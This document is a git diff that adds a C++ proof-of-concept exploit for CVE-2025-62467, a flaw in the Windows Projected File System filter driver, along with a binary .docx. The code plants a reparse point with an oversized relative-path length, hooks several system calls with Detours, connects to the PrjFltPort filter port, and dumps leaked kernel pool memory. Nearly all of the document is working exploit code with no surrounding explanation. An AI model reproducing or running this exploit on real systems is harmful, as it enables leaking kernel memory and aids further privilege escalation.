diff --git a/CVE-2025-62467/PrjLeak26.docx b/CVE-2025-62467/PrjLeak26.docx new file mode 100644 index 0000000..84d8d6b Binary files /dev/null and b/CVE-2025-62467/PrjLeak26.docx differ diff --git a/CVE-2025-62467/PrjLeank26.cpp b/CVE-2025-62467/PrjLeank26.cpp new file mode 100644 index 0000000..49334a2 --- /dev/null +++ b/CVE-2025-62467/PrjLeank26.cpp @@ -0,0 +1,775 @@ + + +#include +#include +#include +#include +#pragma comment(lib, "projectedfslib.lib") +#pragma comment(lib, "FltLib.lib") + +#include "ntdll.h" +#pragma comment(lib, "ntdll") + +#include "detours.h" +#pragma comment(lib, "detours.lib") + + +PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT gInstanceHandle; + +static LPCWSTR gszPrjRootName = L"c:\\PrjTest"; +static LPCWSTR gszVirtRoot = L"c:\\PrjTest\\virtroot222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222"; +static LPCWSTR gszNtVirtRoot = L"\\??\\c:\\PrjTest\\virtroot222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222"; + + + +struct __declspec(align(4)) _PRJ_CONNECTION_CONTEXT +{ + GUID virtualizationInstanceID; + unsigned int Version; + USHORT VolumeLength; + WCHAR szVolume[256]; +}; + + +void PrintInstanceId() { + PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; + HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + OLECHAR* guidString; + StringFromCLSID(InstanceInfo.InstanceID, &guidString); + wprintf(L"InstanceId: %s\n", guidString); + + + LPCOLESTR lpsz = guidString; + GUID InstanceId; + hr = CLSIDFromString(lpsz, &InstanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + CoTaskMemFree(guidString); +} + +void CreateVirtualizationRoot() { + + HRESULT hr; + //const wchar_t* rootName = LR"(c:\PrjTest\virtRoot)"; + const wchar_t* rootName = gszVirtRoot; + + if (!CreateDirectoryW(rootName, nullptr)) + { + DWORD gle = GetLastError(); + if (gle != ERROR_ALREADY_EXISTS) { + hr = HRESULT_FROM_WIN32(gle); + wprintf(L"Failed to create virtualization root (0x%08x)\n", hr); + } + + return; + } + + GUID instanceId; + + hr = CoCreateGuid(&instanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + hr = PrjMarkDirectoryAsPlaceholder(rootName, + nullptr, + nullptr, + &instanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to mark virtualization root (0x%08x)\n", hr); + return; + } + +} + +HRESULT PrjStartEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId +) +{ + //printf("MyStartEnumCallback\n"); + return S_OK; +} + +HRESULT PrjEndEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId +) +{ + //printf("MyEndEnumCallback\n"); + return S_OK; +} + +HRESULT PrjGetEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId, + PCWSTR searchExpression, + PRJ_DIR_ENTRY_BUFFER_HANDLE dirEntryBufferHandle +) +{ + //printf("PrjGetEnumCallback\n"); + return S_OK; +} + +HRESULT PrjGetPlaceholderInfoCallback( + const PRJ_CALLBACK_DATA* callbackData +) +{ + return S_OK; +} + +HRESULT PrjGetFileDataCallback( + const PRJ_CALLBACK_DATA* callbackData, + UINT64 byteOffset, + UINT32 length +) +{ + return S_OK; +} + +HRESULT PrjQueryFileNameCallback( + const PRJ_CALLBACK_DATA* callbackData +) +{ + return S_OK; +} + +HRESULT PrjNotificationCallback( + _In_ const PRJ_CALLBACK_DATA* callbackData, + _In_ BOOLEAN isDirectory, + _In_ PRJ_NOTIFICATION notification, + _In_opt_ PCWSTR destinationFileName, + _Inout_ PRJ_NOTIFICATION_PARAMETERS* operationParameters +) +{ + return S_OK; +} + + +VOID PrjCancelCommandCallback( + _In_ const PRJ_CALLBACK_DATA* callbackData +) { + return; +} + + +void StartVirtualizatioInstance() { + PRJ_CALLBACKS callbackTable; + + // Supply required callbacks. + callbackTable.StartDirectoryEnumerationCallback = PrjStartEnumCallback; + callbackTable.EndDirectoryEnumerationCallback = PrjEndEnumCallback; + callbackTable.GetDirectoryEnumerationCallback = PrjGetEnumCallback; + callbackTable.GetPlaceholderInfoCallback = PrjGetPlaceholderInfoCallback; + callbackTable.GetFileDataCallback = PrjGetFileDataCallback; + + // The rest of the callbacks are optional. + callbackTable.QueryFileNameCallback = PrjQueryFileNameCallback; + callbackTable.NotificationCallback = PrjNotificationCallback; + callbackTable.CancelCommandCallback = PrjCancelCommandCallback; + + HRESULT hr; + //const wchar_t* rootName = LR"(c:\PrjTest\virtRoot)"; + const wchar_t* rootName = gszVirtRoot; + + PRJ_NOTIFICATION_MAPPING NotificationMappings; + NotificationMappings.NotificationBitMask = PRJ_NOTIFY_FILE_PRE_CONVERT_TO_FULL; + NotificationMappings.NotificationRoot = L""; + + PRJ_STARTVIRTUALIZING_OPTIONS options; + memset(&options, 0, sizeof(options)); + options.NotificationMappingsCount = 1; + options.NotificationMappings = &NotificationMappings; + + PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT instanceHandle; + hr = PrjStartVirtualizing(rootName, + &callbackTable, + nullptr, + &options, + &instanceHandle); + if (FAILED(hr)) + { + wprintf(L"Failed to start the virtualization instance (0x%08x)\n", hr); + return; + } + + gInstanceHandle = instanceHandle; +} + +struct _PRJ_REPARSE_DATA +{ + int Version; + int dwFlags; + GUID virtualizationInstanceID; + PRJ_PLACEHOLDER_VERSION_INFO PlaceHolderVersionInfo; + unsigned __int16 PlaceHolderRelPathLength; + WCHAR szPlaceHolderRelPathBuffer[1]; + +}; + +struct _PRJ_REPARSE_DATA_BUFFER +{ + ULONG ReparseTag; + USHORT ReparseDataLength; + USHORT Reserved; + _PRJ_REPARSE_DATA ReparseData; +}; + +HRESULT CreateFileWithReparsePoint( + PHANDLE pFileHandle, + LPCWSTR lpcwFileName, + _PRJ_REPARSE_DATA* ReparseData, + USHORT ReparseDataLength, + int Tag, + bool bDir) { + + + const WCHAR* ErrorMessage; // rdi + USHORT BufferLength; // bx + ULONG hr; // ebx MAPDST + _PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // rax MAPDST + int LastError; // eax + ULONG Size; // eax + size_t Length; // rax + + *pFileHandle = NULL; + + ErrorMessage = 0i64; + BufferLength = ReparseDataLength + 0x18; + if ((unsigned __int16)(ReparseDataLength + 0x18) > 0x4000u) + { + hr = 0x80070057; // E_INVALIDARG + goto LABEL_12; + } + if (ReparseDataLength != (USHORT)(ReparseData->PlaceHolderRelPathLength + 0x11A)) { + hr = 0x80070057; // E_INVALIDARG + goto LABEL_12; + } + ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1ui64, (unsigned __int16)(ReparseDataLength + 0x18)); + if (!ReparseDataBuffer) + { + hr = 0x8007000E; // E_OUTOFMEMORY + LABEL_12: + Size = 2; + + return hr; + } + ReparseDataBuffer->ReparseTag = Tag; + ReparseDataBuffer->ReparseDataLength = ReparseDataLength; + memcpy(&ReparseDataBuffer->ReparseData, ReparseData, ReparseDataLength + 0x10); + + //HANDLE FileHandle = CreateFileW(lpcwFileName, FILE_WRITE_ATTRIBUTES, 7u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64); + + UNICODE_STRING usFileName = { 0 }; + + RtlInitUnicodeString(&usFileName, (PWSTR)lpcwFileName); + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + ObjectAttributes.Length = 0x30; + ObjectAttributes.ObjectName = &usFileName; + + ULONG FileAttributes = FILE_ATTRIBUTE_NORMAL; + ULONG CreateOptions = FILE_SYNCHRONOUS_IO_ALERT; + + if (bDir) { + CreateOptions = CreateOptions | FILE_DIRECTORY_FILE; + } + + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + HANDLE FileHandle = NULL; + int Status = NtCreateFile( + &FileHandle, + FILE_WRITE_ATTRIBUTES | SYNCHRONIZE, + &ObjectAttributes, + &IoStatusBlock, + 0i64, + FileAttributes, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + FILE_OPEN_IF, + CreateOptions, + NULL, + 0); + + if (DeviceIoControl(FileHandle, 0x900A4u, ReparseDataBuffer, BufferLength, 0i64, 0, 0i64, 0i64))// FSCTL_SET_REPARSE_POINT + { + hr = 0; + } + else + { + LastError = GetLastError(); + hr = LastError; + if (LastError > 0) + hr = (unsigned __int16)LastError | 0x80070000; + ErrorMessage = L"Failed to send FSCTL_SET_REPARSE_POINT"; + } + free(ReparseDataBuffer); + if (hr) + goto LABEL_12; + + *pFileHandle = FileHandle; + + return hr; + +} + + +_PRJ_REPARSE_DATA* CreateReparseData(PCWSTR szRelPath, DWORD dwFlags, PUSHORT pLength) { + //USHORT RelPathLength = MAX_PATH; + USHORT RelPathLength = 0xfffe; + USHORT Length = RelPathLength + 0x11A; + _PRJ_REPARSE_DATA* ReparseData = (_PRJ_REPARSE_DATA*)calloc(1ui64, Length); + memset(ReparseData, 'A', Length); + + ReparseData->Version = 2; + ReparseData->PlaceHolderRelPathLength = RelPathLength; + //ReparseData->dwFlags = 0; + ReparseData->dwFlags = 0x10; + + if (RelPathLength) { + //memcpy(ReparseData->szPlaceHolderRelPathBuffer, szRelPath, RelPathLength); + //wcscpy_s(ReparseData->szPlaceHolderRelPathBuffer, szRelPath); + } + + *pLength = Length; + return ReparseData; +} + + +void PrintOutput(char* buf, int Size) { + + //printf("\n"); + for (int i = 0; i < Size; i++) + { + if (i != 0 && i % 8 == 0 && i % 16 != 0) { + printf("-"); + + } + else if (i > 0) + { + printf(" "); + } + + + if (i % 16 == 0 && i != 0) { + printf("\n"); + } + + printf("%02x", (unsigned)(unsigned char)buf[i]); + + } + printf("\n"); +} + +struct _POOL_HEADER +{ + union + { + struct + { + USHORT PreviousSize : 8; //0x0 + USHORT PoolIndex : 8; //0x0 + USHORT BlockSize : 8; //0x2 + USHORT PoolType : 8; //0x2 + }; + ULONG Ulong1; //0x0 + }; + ULONG PoolTag; //0x4 + union + { + struct _EPROCESS* ProcessBilled; //0x8 + struct + { + USHORT AllocatorBackTraceIndex; //0x8 + USHORT PoolTagHash; //0xa + }; + }; +}; + +void PrintPoolHeader(_POOL_HEADER* Header) { + if (Header->PoolTag != 0) { + + char szTag[0x10] = { 0 }; + ULONG size = Header->BlockSize * 0x10; + memcpy(szTag, &Header->PoolTag, 4); + + printf("First PoolTag: %s, size: 0x%x\n", szTag, size); + } + +} + +void PrintPool(char* Data, ULONG Size) { + + ULONG BlockSize = 0; + + while (Size > 0) { + _POOL_HEADER* Header = (_POOL_HEADER*)Data; + + if (Header->PoolTag != 0) { + char szTag[0x10] = { 0 }; + BlockSize = Header->BlockSize * 0x10; + memcpy(szTag, &Header->PoolTag, 4); + + printf("PoolTag: %s, size: 0x%x\n", szTag, BlockSize); + + if (Size >= BlockSize) { + PrintOutput(Data, BlockSize); + } + } + else { + PrintOutput(Data, Size); + break; + } + + Data = Data + BlockSize; + Size = Size - BlockSize; + } + +} + +void PortInit() { + + static HANDLE hPort = NULL; + static GUID InstanceId; + + PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; + HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); + InstanceId = InstanceInfo.InstanceID; + + + //PrjStopVirtualizing(gInstanceHandle); + + _PRJ_CONNECTION_CONTEXT Context; + Context.VolumeLength = 0x100; + Context.Version = 1; + Context.virtualizationInstanceID = InstanceId; + wcscpy_s(Context.szVolume, L"c:\\"); + ULONG SizeOfContext = sizeof(_PRJ_CONNECTION_CONTEXT); + + HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, &Context, SizeOfContext, NULL, &hPort); + //HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, NULL, 0, NULL, &hPort); + + printf("FilterConnectCommunicationPort hResult:%x\thPort:%x\n", hResult, hPort); + +} + + +HRESULT __fastcall PrjpConstructLongPath(PCWSTR szFilePath, PCWSTR* pszLongPath2, PCWSTR* pszLongPath) +{ + unsigned __int64 Length; // rbx + const WCHAR* szLongPath; // rax + + Length = 0xFFFFFFFFFFFFFFFFui64; + do + ++Length; + while (szFilePath[Length]); + *pszLongPath2 = 0i64; + if (Length < 0x104 || !wcsncmp(szFilePath, L"\\\\?\\", 4ui64)) + { + *pszLongPath = szFilePath; + } + else + { + szLongPath = (WCHAR*)calloc(Length + 5, 2ui64); + *pszLongPath2 = szLongPath; + if (!szLongPath) + return 0x8007000E; // E_OUTOFMEMORY + if ((unsigned int)wcsncpy_s((PWSTR)szLongPath, Length + 5, L"\\\\?\\", 4i64) + || (unsigned int)wcsncat_s((PWSTR)(*pszLongPath2), Length + 5, szFilePath, Length)) + { + return 0x80004005; // E_FAIL + } + *pszLongPath = *pszLongPath2; + } + return 0; +} + +HRESULT __fastcall PrjpReadReparsePoint(PCWSTR szFilePath, _PRJ_REPARSE_DATA_BUFFER** pReparseDataBuffer) +{ + _PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // r15 + PCWSTR ErrorMessage; // rdi + HRESULT hr; // ebx + unsigned __int64 Length; // rcx MAPDST + ULONG Size; // ecx MAPDST + HANDLE FileHandle; // rax MAPDST + signed int LastError; // eax + unsigned int* EventDescriptor; // rdx + LPCWSTR hr64; // [rsp+40h] [rbp-49h] + LPCWSTR szLongPath; // [rsp+40h] [rbp-49h] FORCED BYREF + PCWSTR pszLongPath2; // [rsp+48h] [rbp-41h] BYREF + + + Length = 0xFFFFFFFFFFFFFFFFui64; + hr64 = 0i64; + pszLongPath2 = 0i64; + ErrorMessage = 0i64; + FileHandle = (HANDLE)0xFFFFFFFFFFFFFFFFi64; + if (!pReparseDataBuffer) + { + hr = 0x80070057; // E_INVALIDARG + goto LABEL_3; + } + ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1, 0x4000ui64); + if (!ReparseDataBuffer) + { + ErrorMessage = L"Couldn't allocate memory for Reparse Data"; + hr = 0x8007000E; // E_OUTOFMEMORY + LABEL_3: + Size = 2; + return hr; + } + hr = PrjpConstructLongPath(szFilePath, &pszLongPath2, &szLongPath); + if (hr < 0) + { + ErrorMessage = L"PrjpConstructLongPath failed"; + goto LABEL_21; + } + hr = 0; + FileHandle = CreateFileW(szLongPath, 0x80u, 3u, 0i64, 3u, 0x2200000u, 0i64); + if (FileHandle == (HANDLE)0xFFFFFFFFFFFFFFFFi64) + { + ErrorMessage = L"Failed to open file"; + goto LABEL_14; + } + if (!DeviceIoControl(FileHandle, 0x900A8u, 0i64, 0, ReparseDataBuffer, 0x4000u, 0i64, 0i64))// FSCTL_GET_REPARSE_POINT + { + ErrorMessage = L"Failed to get reparse point"; + LABEL_14: + LastError = GetLastError(); + hr = LastError; + if (LastError > 0) + hr = (unsigned __int16)LastError | 0x80070000; + LABEL_21: + free(ReparseDataBuffer); + if (FileHandle == (HANDLE)0xFFFFFFFFFFFFFFFFi64) + goto LABEL_25; + goto LABEL_24; + } + if (ReparseDataBuffer->ReparseTag != 0x9000001C && ReparseDataBuffer->ReparseTag != 0xA0000022) + { + ErrorMessage = L"Another Reparse Tag Encountered"; + hr = 0x8007112A; + goto LABEL_21; + } + *pReparseDataBuffer = ReparseDataBuffer; +LABEL_24: + CloseHandle(FileHandle); +LABEL_25: + + if (pszLongPath2) + free((void*)pszLongPath2); + if (hr >= 0) + return hr; + if (hr != 0x80071126) + goto LABEL_3; + + return hr; +} + + +struct __declspec(align(4)) _PRJ_COMMAND_BUFFER +{ + ULONG BufferLength; + int CmdType; + GUID VirtualizationInstanceID; + char Id[4]; + char StreamUuid[16]; + char StreamHandleUuid[16]; + PRJ_PLACEHOLDER_VERSION_INFO PlaceHolderVersionInfo; + int Padding; + char Data[544]; + int RelPathOffset; + int RelPathLength; + int FilePathOffset; + int FilePathLength; + ULONG Pid; + int ProcessNameOffset; + int ProcessNameLength; + int Padding2; + WCHAR RelPathBuffer[1]; + WCHAR FilePathBuffer[1]; + WCHAR ProcessNameBuffer[1]; +}; + + +typedef BOOL(WINAPI* _GetQueuedCompletionStatus)( + HANDLE CompletionPort, + LPDWORD lpNumberOfBytesTransferred, + PULONG_PTR lpCompletionKey, + LPOVERLAPPED* lpOverlapped, + DWORD dwMilliseconds + ); + + +typedef BOOL(WINAPI* _DeviceIoControl)( + HANDLE hDevice, + DWORD dwIoControlCode, + LPVOID lpInBuffer, + DWORD nInBufferSize, + LPVOID lpOutBuffer, + DWORD nOutBufferSize, + LPDWORD lpBytesReturned, + LPOVERLAPPED lpOverlapped + ); + +typedef HRESULT (WINAPI* _FilterGetMessage)( + HANDLE hPort, + PFILTER_MESSAGE_HEADER lpMessageBuffer, + DWORD dwMessageBufferSize, + LPOVERLAPPED lpOverlapped +); + +_GetQueuedCompletionStatus TrueGetQueuedCompletionStatus = NULL; +_DeviceIoControl TrueDeviceIoControl = NULL; +_FilterGetMessage TrueFilterGetMessage = NULL; + +char gLeakeddata[0x10000]; +ULONG gLeakeddDataLength = 0; + + +BOOL MyGetQueuedCompletionStatus( + HANDLE CompletionPort, + LPDWORD lpNumberOfBytesTransferred, + PULONG_PTR lpCompletionKey, + LPOVERLAPPED* lpOverlapped, + DWORD dwMilliseconds +) { + BOOL bResult = TrueGetQueuedCompletionStatus(CompletionPort, lpNumberOfBytesTransferred, lpCompletionKey, lpOverlapped, dwMilliseconds); + + if (bResult) { + _PRJ_COMMAND_BUFFER* CommandBuffer = (_PRJ_COMMAND_BUFFER*)((char*)(*lpOverlapped) + sizeof(OVERLAPPED) + sizeof(_FILTER_MESSAGE_HEADER)); + ULONG RelPathLength = CommandBuffer->RelPathLength; + ULONG RelPathOffset = CommandBuffer->RelPathOffset; + ULONG LeakedDataOffset = 0x4e; + + if (CommandBuffer->CmdType == 1 && RelPathLength > 0) { + char* RelBuffer = (char*)CommandBuffer + RelPathOffset; + + char* Leakeddata = RelBuffer + LeakedDataOffset; + ULONG LeakeddDataLength = RelPathLength - LeakedDataOffset; + + memcpy(gLeakeddata, Leakeddata, LeakeddDataLength); + gLeakeddDataLength = LeakeddDataLength; + } + } + + return bResult; +} +DWORD gdwMessageBufferSize = 0x20000; +char* glpOverlapped = (char*)malloc(gdwMessageBufferSize); + +HRESULT MyFilterGetMessage( + HANDLE hPort, + PFILTER_MESSAGE_HEADER lpMessageBuffer, + DWORD dwMessageBufferSize, + LPOVERLAPPED lpOverlapped) +{ + if (gLeakeddDataLength == 0) { + memset(glpOverlapped, 0, gdwMessageBufferSize); + HRESULT hr = TrueFilterGetMessage(hPort, (PFILTER_MESSAGE_HEADER)(glpOverlapped + 0x20), gdwMessageBufferSize - 0x20, (LPOVERLAPPED)glpOverlapped); + memcpy(lpOverlapped, glpOverlapped, dwMessageBufferSize + 0x20); + return hr; + } + else { + return TrueFilterGetMessage(hPort, (PFILTER_MESSAGE_HEADER)(glpOverlapped + 0x20), gdwMessageBufferSize - 0x20, (LPOVERLAPPED)glpOverlapped); + } +} + +BOOL MyDeviceIoControl( + HANDLE hDevice, + DWORD dwIoControlCode, + LPVOID lpInBuffer, + DWORD nInBufferSize, + LPVOID lpOutBuffer, + DWORD nOutBufferSize, + LPDWORD lpBytesReturned, + LPOVERLAPPED lpOverlapped +) { + BOOL bResult = TrueDeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize, lpBytesReturned, lpOverlapped); + + if (dwIoControlCode == 0x900A8u) { + _PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)lpOutBuffer; + ReparseDataBuffer->ReparseData.PlaceHolderRelPathLength = 0; + } + return bResult; +} + +void LoadHook() { + + TrueGetQueuedCompletionStatus = (_GetQueuedCompletionStatus)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "GetQueuedCompletionStatus"); + TrueDeviceIoControl = (_DeviceIoControl)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "DeviceIoControl"); + TrueFilterGetMessage = (_FilterGetMessage)GetProcAddress(GetModuleHandleA("FltLib.dll"), "FilterGetMessage"); + + LONG error; + DetourRestoreAfterWith(); + DetourTransactionBegin(); + DetourUpdateThread(GetCurrentThread()); + DetourAttach(&(PVOID&)TrueGetQueuedCompletionStatus, MyGetQueuedCompletionStatus); + DetourAttach(&(PVOID&)TrueDeviceIoControl, MyDeviceIoControl); + DetourAttach(&(PVOID&)TrueFilterGetMessage, MyFilterGetMessage); + + error = DetourTransactionCommit(); + + if (error == NO_ERROR) { + printf("Detoured GetQueuedCompletionStatus(), DeviceIoControl(), FilterGetMessage()\n"); + } + else { + printf("Error detouring GetQueuedCompletionStatus() or DeviceIoControl() or FilterGetMessage(): %d\n", error); + } +} + +typedef struct _FILE_DISPOSITION_INFORMATION { + BOOLEAN DeleteFile; +} FILE_DISPOSITION_INFORMATION, * PFILE_DISPOSITION_INFORMATION; + +void Run() { + BOOL bResult = FALSE; + HRESULT hr = 0; + USHORT Length = 0; + HANDLE FileHandle = NULL; + _PRJ_REPARSE_DATA* ReparseData = NULL; + _PRJ_REPARSE_DATA_BUFFER* pReparseDataBuffer = NULL; + + CreateDirectoryW(gszPrjRootName, nullptr); + RemoveDirectoryW(gszVirtRoot); + + ReparseData = CreateReparseData(L"", 0x10, &Length); + hr = CreateFileWithReparsePoint(&FileHandle, gszNtVirtRoot, ReparseData, Length, 0x9000001C, true); + hr = PrjpReadReparsePoint(gszVirtRoot, &pReparseDataBuffer); + + LoadHook(); + CreateVirtualizationRoot(); + StartVirtualizatioInstance(); + PrintInstanceId(); + PortInit(); + + RemoveDirectoryW(gszVirtRoot); + + while (gLeakeddDataLength == 0) { + Sleep(1); + } + + printf("\nLeaked length = 0x%x\n", gLeakeddDataLength); + PrintPoolHeader((_POOL_HEADER*)gLeakeddata); + PrintOutput(gLeakeddata, gLeakeddDataLength); + + getchar(); +} + +int wmain(int argc, WCHAR* argv[]) +{ + Run(); + + return 0; +} \ No newline at end of file